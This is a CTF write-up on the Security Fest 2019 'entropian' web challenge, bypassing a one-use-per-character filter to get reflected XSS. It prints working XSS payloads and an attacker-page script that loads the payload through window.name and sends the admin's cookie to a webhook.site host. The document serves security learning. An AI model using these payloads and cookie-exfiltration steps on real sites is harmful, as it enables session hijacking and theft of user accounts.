Security Fest 2019 CTF, entropian [web] write-up

Renwa
4 min readMay 24, 2019

--

This is my first CTF challenge write-up so i’m not good at it

Entropian [web]

Solves: 4

Service: http://entropian-01.pwn.beer:3001

Challenge: Steal Admin Cookie with XSS

Problem: You can use a character once

There is a reflected XSS in /entropian?input=Inject with UTF-8 charset and X-XSS-Protection is 0

As you can see it will remove the repeated characters </h1> it means let’s just forget about <script> and move on with event handlers

We can’t use <script src=/\domain> because we have to close the script tag </script> and we already used < and > characters

Using HTML imports <link rel=import href=\/domain> failed because there is too many characters

Then i managed to make script execution using <SVG/ONLoAD=alert(23)> the filter was case insensitive we could use a character twice, but this will just apply for the HTML

The things i tried and failed

eval(location.hash.substr(1)) → huh

eval(location.hash.substr(1))

document.body.innerHTML = name → we couldn’t send other urls to the admin except the challenge url

And then i thought about every JS dom and sink we could use but none of them were useful in our context they were too long for us

I was stuck with one payload eval(name) it was the shortest i can imagine but there is a problem too

eval(name) → The (e) and (a) characters are repeated

So I had to find 2 bypasses first using HTML entities for the (e) character

I used &#x65 for the (e) character but now we can’t use html entities again because we already used (&#x) characters so i tried unicode \u0061 but again we can’t use two (0) characters so ES6 unicode literals would help us \u{61}

And now i’m like oh shit both (e) and (a) hex codes start with 6 then i remembered about normal HTML entity (&#123)

The html entity for (e) was &#101 ok cool now i’m fucked up, but for a moment i got smart and swiped the techniques for the characters, (a) entity was &#97 and (e) unicode \u{65}. my final payload looked like:

<SVG/ONLoAD=eval(n&#97;m\u{65})>

OK now how we gone change the window name, we couldn’t send any arbitrary URLs, that means we should make a redirect, but how?!?

things i tried and failed badly (too many characters)

HTML redirect <meta http-equiv…>

location=//domain

location.assign()

location.replace()

<a href=//domain>

it was just 45 minutes before the CTF ended and i needed to find a fucking redirect, but i got a feeling why we should change the top window name? we can just make a child new window pointing to our domain, and that’s called iframe

Pseudo code:

point the iframe to our domain

set the frame name to an xss payload

redirect the frame to the page with eval(name)

My final payload:

<iframe src=/\PSHTA.ML>

The code in my domain:

<script>

window.name=”document.location=’https://webhook.site/*hash*?'+document.cookie";

window.location=”http://entropian-01.pwn.beer:3001/entropian?input=%3CSVG/ONLoAD=eval(n%26%2397;m\\u{65})%3E"

</script>

It will set the window name to (location=”webhook/?”+document.cookie)

redirect to the xss page with the eval(name) then redirect to the webhook with the cookies

Just 36 minutes before the CTF ended and we got #2 because of it

Thanks for all the dudes in OpenToAll

Buh bye (^ _ ^)/

JJ For Life

--

--